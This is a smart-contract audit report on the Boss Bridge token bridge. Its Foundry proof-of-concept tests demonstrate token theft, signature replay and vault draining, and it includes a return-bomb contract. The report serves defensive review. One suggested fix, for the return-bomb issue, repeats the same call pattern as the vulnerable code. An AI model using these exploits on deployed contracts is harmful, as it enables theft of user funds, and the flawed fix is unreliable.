Boss Bridge Audit Report

Version 0.1

Katlego Molokoane

May 7, 2025

Boss Bridge Audit Report

KATLEGO MOLOKOANE

May 7, 2025

Boss Bridge Audit Report

Prepared by:

Lead Auditors:

- Katlego Molokoane

Assisting Auditors:

- None

Table of contents

See table

Disclaimer

This security audit was conducted with the utmost diligence to identify vulnerabilities within the provided codebase during the allocated time frame. However, the findings in this document are not exhaustive, and no guarantees are made regarding the absence of additional vulnerabilities. This audit does not constitute an endorsement of the underlying business model, product, or team. The review was strictly limited to the security aspects of the Solidity implementation of the smart contracts. The auditor assumes no liability for any issues arising from the use of the audited code.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the “Boss Bridge Token” or “BBT”) from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or “signers”). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It’s worth highlighting that there’s little-to-no on-chain mechanism to verify withdrawals, other than the operator’s signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.
- Vault: The contract owned by the bridge that holds the tokens.

Executive Summary

Issues found

Severity	Number of issues found
High	6
Medium	1
Low	2
Info	0
Gas	0
Total	9

Findings

High

[H-1] Risk of Token Theft Due to Arbitrary Approvals in `L1BossBridge`

Description

The `depositTokensToL2` function in the `L1BossBridge` contract allows any user to specify an arbitrary `from` address when calling the function. If the specified `from` address has previously approved the bridge contract to spend its tokens, an attacker can exploit this to transfer tokens from

the victim's account to the bridge's vault without the victim's explicit consent. The attacker can then assign the tokens to an address they control on L2 by specifying it in the `l2Recipient` parameter.

Proof of Concept

Add this test to this file `L1BossBridge.t.sol` file.

The following test demonstrates how an attacker can exploit this vulnerability:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Recommended mitigation To address this issue, modify the `depositTokensToL2` function to ensure that the caller cannot specify an arbitrary `from` address. Instead, the function should use `msg.sender` as the source of the tokens. The updated function would look as follows

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Emit the deposit event
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `L1BossBridge::depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description The `depositTokensToL2` function in the `L1BossBridge` contract allows the caller to specify the `from` address from which tokens are transferred. Due to the infinite approval

granted by the vault to the bridge during contract initialization, it is possible for an attacker to call `depositTokensToL2` and transfer tokens from the vault to itself. This results in the `Deposit` event being emitted multiple times, potentially triggering the minting of unbacked tokens on L2.

This vulnerability allows an attacker to mint an unlimited number of tokens on L2 without providing any real backing on L1. Furthermore, the attacker could assign these unbacked tokens to an address they control on L2, effectively compromising the integrity of the bridge.

Proof of Concept

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

The following test demonstrates how an attacker can exploit this vulnerability:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // Assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Trigger the `Deposit` event by self-transferring tokens in the
       vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    // Repeat the process to mint unbacked tokens
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    vm.stopPrank();
}
```

Recommended Mitigation To address this issue, modify the `depositTokensToL2` function to prevent the caller from specifying an arbitrary `from` address. Instead, the function should use `msg.sender` as the source of the tokens. This ensures that only the token owner can initiate a deposit. The updated function would look as follows:

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
         revert L1BossBridge__DepositLimitReached();
     }
```

```
-    token.transferFrom(from, address(vault), amount);
+    token.transferFrom(msg.sender, address(vault), amount);

     // Emit the deposit event
-    emit Deposit(from, l2Recipient, amount);
+    emit Deposit(msg.sender, l2Recipient, amount);
 }
```

This change ensures that the vault cannot be used as the `from` address, thereby preventing self-transfers and the minting of unbacked tokens.

[H-3] Lack of Replay Protection in `withdrawTokensToL1` Allows Withdrawal Signatures to Be Replayed

Description The `withdrawTokensToL1` function in the `L1BossBridge` contract relies on a signature from an approved operator to authorize withdrawals. However, the implementation lacks replay protection mechanisms, such as nonces or unique identifiers, to ensure that each signature can only be used once.

This vulnerability allows an attacker to reuse a valid signature multiple times to repeatedly execute the same withdrawal. As a result, the attacker can drain the vault by replaying the same signed withdrawal request until the vault's balance is exhausted.

Impact Without replay protection, the protocol is vulnerable to repeated unauthorized withdrawals, which can result in the complete depletion of the vault's funds. Implementing a nonce mechanism ensures that each signature is valid for only one withdrawal, mitigating this critical vulnerability.

Proof of Concept (PoC) The following test demonstrates how an attacker can exploit this vulnerability:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
        attackerInitialBalance);

    // Operator signs withdrawal
    (uint8 v, bytes32 r, bytes32 s) =
```

```
15          _signMessage(_getTokenWithdrawalMessage(attacker,
                attackerInitialBalance), operator.key);
16
17      // The attacker reuses the signature to drain the vault
18      while (token.balanceOf(address(vault)) > 0) {
19          tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
                , v, r, s);
20      }
21
22      // Assert that the attacker has drained the vault
23      assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
            + vaultInitialBalance);
24      assertEq(token.balanceOf(address(vault)), 0);
25  }
```

Recommended Mitigation To address this issue, implement replay protection by introducing a nonce mechanism. Each withdrawal request should include a unique nonce, which is validated and incremented upon successful execution. This ensures that each signature can only be used once.

Below is an example of how to incorporate a nonce mechanism:

```
1  mapping(address => uint256) public nonces;
2
3  function withdrawTokensToL1(
4      address to,
5      uint256 amount,
6      uint8 v,
7      bytes32 r,
8      bytes32 s
9  ) external {
10     // Include the nonce in the signed message
11     bytes32 messageHash = keccak256(abi.encodePacked(to, amount, nonces
           [to]));
12     address signer = ECDSA.recover(MessageHashUtils.
           toEthSignedMessageHash(messageHash), v, r, s);
13
14     if (!signers[signer]) {
15         revert L1BossBridge__Unauthorized();
16     }
17
18     // Increment the nonce to prevent replay
19     nonces[to]++;
20
21     // Execute the withdrawal
22     token.transferFrom(address(vault), to, amount);
23 }
```

[H-4] Arbitrary Calls in `L1BossBridge::sendToL1` Enable Infinite Allowance Exploit on Vault Funds

Description The `sendToL1` function in the `L1BossBridge` contract allows arbitrary low-level calls to any target address with user-specified calldata. This functionality, while flexible, introduces a critical vulnerability when combined with the `L1Vault` contract, which is owned by the bridge. Specifically, an attacker can craft a malicious call to the `L1Vault::approveTo` function, granting themselves an infinite allowance of the vault's funds.

Once the attacker has infinite allowance, they can drain the vault by transferring all its tokens to their own address. This exploit is possible because the `sendToL1` function does not restrict the target address or validate the calldata being executed.

Proof of Concept (PoC) The following test demonstrates how an attacker can exploit this vulnerability:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // Simulate an attacker depositing tokens to L2
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Craft a malicious call to the vault's `approveTo` function
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
            uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
        key);

    // Execute the malicious call via `sendToL1`
    tokenBridge.sendToL1(v, r, s, message);

    // Verify that the attacker now has infinite allowance
    assertEq(token.allowance(address(vault), attacker), type(uint256).
        max);

    // Drain the vault
    token.transferFrom(address(vault), attacker, token.balanceOf(
        address(vault)));
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended Mitigation

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE Opcode Does Not Work on zkSync Era

Description The `CREATE` opcode, used in the `TokenFactory` contract's `deployToken` function to deploy new ERC20 contracts, is not supported on zkSync Era. zkSync Era employs a different architecture for contract deployment, relying on precompiled contracts and account abstraction. As a result, any attempt to use the `CREATE` opcode will fail, rendering the `deployToken` functionality unusable on zkSync Era.

Impact The inability to use the `CREATE` opcode on zkSync Era means that the `TokenFactory` contract cannot deploy new ERC20 tokens on this platform. This limitation disrupts the intended functionality of the `TokenFactory` contract and prevents the protocol from dynamically creating new token contracts on zkSync Era.

Proof of Concept (PoC) The following snippet demonstrates how the `CREATE` opcode is used in the `deployToken` function:

```
1 function deployToken(string memory symbol, bytes memory
     contractBytecode) public onlyOwner returns (address addr) {
2     assembly {
3         addr := create(0, add(contractBytecode, 0x20), mload(
              contractBytecode))
4     }
5     s_tokenToAddress[symbol] = addr;
6     emit TokenDeployed(symbol, addr);
7 }
```

When deployed on zkSync Era, any call to this function will fail due to the unsupported `CREATE` opcode.

Recommended Mitigation To ensure compatibility with zkSync Era, replace the use of the `CREATE` opcode with zkSync-compatible alternatives. Specifically:

1. **Use `CREATE2`**: Modify the `deployToken` function to use the `CREATE2` opcode, which is supported on zkSync Era and allows deterministic contract deployment.

```
1 function deployToken(string memory symbol, bytes memory
     contractBytecode, bytes32 salt) public onlyOwner returns (address
     addr) {
2     assembly {
3         addr := create2(0, add(contractBytecode, 0x20), mload(
              contractBytecode), salt)
```

```
4         }
5         s_tokenToAddress[symbol] = addr;
6         emit TokenDeployed(symbol, addr);
7     }
```

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

Description The `depositTokensToL2` function in the `L1BossBridge` contract includes a `DEPOSIT_LIMIT` check to prevent excessive token deposits into the vault. Specifically, the function reverts with the `L1BossBridge__DepositLimitReached` error if the total balance of tokens in the vault exceeds the `DEPOSIT_LIMIT`. While this mechanism is intended to safeguard the protocol, it introduces a potential Denial of Service (DoS) vulnerability.

An attacker can exploit this by depositing tokens into the vault until the `DEPOSIT_LIMIT` is reached. Once the limit is reached, all subsequent legitimate deposit attempts will fail, effectively preventing users from interacting with the bridge. This could disrupt the protocol's operations and prevent users from transferring tokens to L2.

Impact This vulnerability allows an attacker to render the `depositTokensToL2` function unusable by filling the vault up to the `DEPOSIT_LIMIT`. As a result: - Legitimate users will be unable to deposit tokens into the vault. - The bridge's functionality will be disrupted, potentially causing reputational and operational damage to the protocol.

Proof of Concept (PoC) The following test demonstrates how an attacker can exploit this vulnerability:

```
1  function testCanDoSBridgeByReachingDepositLimit() public {
2      uint256 depositLimit = tokenBridge.DEPOSIT_LIMIT();
3      address maliciousUser = makeAddr("maliciousUser");
4
5      // Simulate a malicious user depositing tokens to reach the
           DEPOSIT_LIMIT
6      deal(address(token), maliciousUser, depositLimit);
7      vm.startPrank(maliciousUser);
8      token.approve(address(tokenBridge), depositLimit);
9      tokenBridge.depositTokensToL2(maliciousUser, userInL2, depositLimit
           );
10     vm.stopPrank();
11
12     // Attempt a legitimate deposit, which should fail
13     deal(address(token), user, 1 ether);
14     vm.startPrank(user);
15     token.approve(address(tokenBridge), 1 ether);
16     vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
           selector);
```

```
17      tokenBridge.depositTokensToL2(user, userInL2, 1 ether);
18      vm.stopPrank();
19  }
```

Recommended Mitigation To address this issue, consider implementing one or more of the following mitigations:

1. **Dynamic Deposit Limits**: Replace the static `DEPOSIT_LIMIT` with a dynamic limit that adjusts based on the total supply of tokens or other protocol-specific metrics. This ensures that the limit scales with the protocol's growth.
2. **Graceful Handling of Deposit Limit**: Instead of reverting when the `DEPOSIT_LIMIT` is reached, allow deposits up to the limit and reject only the excess amount. This ensures that users can still interact with the bridge without complete disruption.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description The `sendToL1` function in the `L1BossBridge` contract executes a low-level call to an arbitrary target address, passing all available gas. While this approach works for regular targets, it introduces a vulnerability when interacting with adversarial contracts. Specifically, a malicious target can exploit this by returning an excessively large amount of returndata, commonly referred to as a "return bomb."

When a return bomb is used, Solidity attempts to copy the entire returndata into memory, significantly increasing gas costs due to the expensive memory operations. This can lead to unbounded gas consumption, potentially causing the transaction to fail or forcing the caller to spend excessive amounts of ETH to execute the call.

Impact The vulnerability can result in the following issues: 1. **Excessive Gas Costs**: Callers may be tricked into spending more ETH than necessary to execute the call. 2. **Transaction Failures**: If the gas cost exceeds the transaction's gas limit, the transaction will fail, disrupting the protocol's operations. 3. **Denial of Service (DoS)**: Adversarial contracts can exploit this vulnerability to disrupt the bridge's functionality by causing repeated transaction failures.

Proof of Concept (PoC) The following example demonstrates how a malicious contract can exploit this vulnerability:

```
1  contract MaliciousTarget {
2      fallback() external payable {
3          // Return an excessively large amount of data to trigger high
               gas costs
```

```
        bytes memory largeData = new bytes(2**24); // 16 MB of data
        assembly {
            return(add(largeData, 0x20), mload(largeData))
        }
    }
}
```

When the `sendToL1` function interacts with this contract, the returndata will cause unbounded gas consumption, potentially leading to transaction failure or excessive gas costs.

Recommended Mitigation To address this issue, consider implementing one or more of the following mitigations:

1. **Set a Gas Limit for External Calls**: Pass a specific gas limit when making the low-level call to prevent excessive gas consumption.

```
(bool success, ) = target.call{ value: value, gas: 50000 }(data);
require(success, "Call failed");
```

2. **Validate Returndata Usage**: If the returndata is not required, avoid copying it into memory. This can be achieved by using assembly to discard the returndata.

```
(bool success, ) = target.call{ value: value }(data);
require(success, "Call failed");
```

Low

[L-1] Lack of Event Emission During Withdrawals and Sending Tokens to L1

Description The `sendToL1` and `withdrawTokensToL1` functions in the `L1BossBridge` contract do not emit events when a withdrawal operation is successfully executed. This omission makes it difficult for off-chain monitoring systems to track withdrawal activities and detect suspicious behavior. Event emission is a critical component of smart contract design, as it provides transparency and enables external systems to monitor and respond to contract activity.

Impact The lack of event emission results in the following issues: 1. **Reduced Transparency**: Off-chain systems cannot reliably track withdrawal operations, making it harder to audit and monitor the protocol. 2. **Delayed Detection of Suspicious Activity**: Without events, it becomes challenging to detect and respond to unauthorized or unusual withdrawal patterns in a timely manner. 3. **Operational Inefficiency**: Off-chain services that rely on events for automation and notifications may fail to function correctly, leading to potential disruptions.

Recommended Mitigation To address this issue, introduce event emission in the `sendToL1` and `withdrawTokensToL1` functions. Emit an event whenever a withdrawal operation is successfully executed. Below is an example of how this can be implemented:

1. **Define a New Event**: Add an event to track withdrawals:

```
+     event Withdrawal(address indexed to, uint256 amount, bytes data);
```

2. **Emit the Event in `withdrawTokensToL1`**: Modify the `withdrawTokensToL1` function to emit the event after a successful withdrawal:

```
    function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
            )
        );

+       emit Withdrawal(to, amount, "Token withdrawal to L1");
    }
```

1. Modify the `sendToL1` function to emit the event after a successful call:

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
        address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }

+    emit Withdrawal(target, value, data);
```

```
16     }
```

[L-2] Unsupported opcode PUSH0

Description The `PUSH0` opcode, introduced in the Ethereum Shanghai upgrade (EIP-3855), is not supported on certain Layer 2 (L2) networks, such as zkSync Era. This opcode is used to push a zero value onto the stack, providing a gas-efficient alternative to existing methods for achieving the same result. However, due to the architectural differences and limitations of some L2 networks, the `PUSH0` opcode may cause transactions to fail when executed on these platforms.

Impact The use of the `PUSH0` opcode in contracts deployed on zkSync Era or other incompatible L2 networks can lead to the following issues: 1. **Transaction Failures**: Any transaction that executes the `PUSH0` opcode will fail, rendering the affected functionality unusable. 2. **Protocol Disruption**: Critical operations relying on the `PUSH0` opcode may be disrupted, impacting the overall functionality of the protocol. 3. **Deployment Incompatibility**: Contracts containing the `PUSH0` opcode cannot be deployed on networks that do not support it, limiting the protocol's cross-chain compatibility.

Recommended Mitigation To address this issue, avoid using the `PUSH0` opcode in contracts intended for deployment on zkSync Era or other networks that do not support it. Instead, use alternative methods to achieve the same functionality. Below are some recommendations:

1. **Network-Specific Compilation**: Use network-specific compiler configurations to ensure that the generated bytecode does not include the `PUSH0` opcode when targeting incompatible networks.
2. **Test on Target Networks**: Thoroughly test the contracts on the intended deployment networks to ensure compatibility and identify any unsupported opcodes.